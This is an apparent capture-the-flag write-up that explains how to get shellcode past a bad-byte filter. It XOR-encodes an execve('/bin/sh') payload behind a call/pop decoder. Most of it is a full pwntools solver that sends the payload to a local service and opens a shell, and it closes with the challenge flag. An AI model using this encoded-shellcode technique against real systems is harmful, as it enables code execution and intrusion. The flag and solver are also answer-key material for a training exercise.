Forbidden Vocabulary

Walkthrough

Solution

The submitted shellcode may not contain null, newline, syscall, slash, or int 0x80 bytes. The destination is still writable and executable, so encode a normal execve("/bin/sh") body with a single-byte XOR key whose encoded form avoids the banned set.

A short position-independent decoder obtains the encoded body's address with a call/pop sequence, XORs it back in place, and jumps to it. The reference solver searches for a safe key and verifies that the complete payload contains no banned byte before sending it.

Reference solver

The reference solver supplied with the writeup:

from pwn import *

context.arch = "amd64"
bad = {0x00, 0x0a, 0x0f, 0x05, 0x2f, 0xcd}
body = asm(shellcraft.sh())
key = next(k for k in range(1, 256) if k not in bad and all((b ^ k) not in bad for b in body))
decoder = asm(f"""
    jmp get_body
decode:
    pop rsi
    push rsi
    xor ecx, ecx
    mov cl, {len(body)}
    mov al, {key}
decode_byte:
    xor byte ptr [rsi], al
    inc rsi
    loop decode_byte
    pop rsi
    jmp rsi
get_body:
    call decode
""")
payload = decoder + bytes(b ^ key for b in body)
assert len(payload) <= 192 and not set(payload) & bad

p = remote("localhost", 1350)
p.sendafter(b"Technique: ", payload)
p.recvuntil(b"Approved. The committee remains confidently underqualified.\n")
p.sendline(b"cat flag.txt")
p.interactive()

Flag

SecurinetsENIT{curs3d_sp33ch_r3wr0t3_1ts3lf}